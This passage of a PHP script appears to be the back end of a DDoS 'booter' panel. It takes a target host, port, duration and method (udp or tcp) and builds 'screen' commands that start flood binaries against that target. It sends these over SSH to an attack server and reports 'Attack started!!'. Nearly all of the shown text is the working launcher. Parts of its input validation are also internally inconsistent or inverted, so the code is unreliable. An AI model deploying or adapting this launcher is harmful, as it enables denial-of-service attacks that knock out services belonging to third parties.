44405){ die('Error: Ports over 44405 do not exist');} ////////////////////////////////// //-- Sets a Maximum boot time --// ////////////////////////////////// if ($time > 2000){ die('Error: Cannot exceed 36000 seconds!');} //Change 10 to the time you used above. if(ctype_digit($Time)){ die('Error: Time is not in numeric form!');} if(ctype_digit($Port)){ die('Error: Port is not in numeric form!');} ////////////////////////////////////////////////////////////////////////////// //-- You're attack methods --// //-- Make sure the command is formatted correctly for each method you add --// ////////////////////////////////////////////////////////////////////////////// if ($method == "udp") { $command = "screen -dm /root/udp $host $port 20 500 50 $time"; } if ($method == "tcp") { $command = "screen -dm /root/dominate $host $port 500 -1 $time"; } if ($method == "stop") { $command = "pkill $host -f"; } /////////////////////////////////////////////////////// //-- Check to see if the server has SSH2 installed --// /////////////////////////////////////////////////////// if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server"); if(!($con = ssh2_connect($server_ip, 22))){ echo "Error: Connection Issue"; } else { /////////////////////////////////////////////////// //-- Attempts to login with you're credentials --// /////////////////////////////////////////////////// if(!ssh2_auth_password($con, $server_user, $server_pass)) { echo "Error: Login failed, one or more of you're server credentials are incorect."; } else { //////////////////////////////////////////////////////////////////////////// //-- Tries to execute the attack with the requested method and settings --// //////////////////////////////////////////////////////////////////////////// if (!($stream = ssh2_exec($con, $command ))) { echo "Error: You're server was not able to execute you're methods file and or its dependencies"; } else { //////////////////////////////////////////////////////////////////// //-- Executed the attack with the requested method and settings --// //////////////////////////////////////////////////////////////////// stream_set_blocking($stream, false); $data = ""; while ($buf = fread($stream,4096)) { $data .= $buf; } echo "Attack started!!
Hitting: $host
On Port: $port
Attack Length: $time
With: $method"; fclose($stream); } } } ?>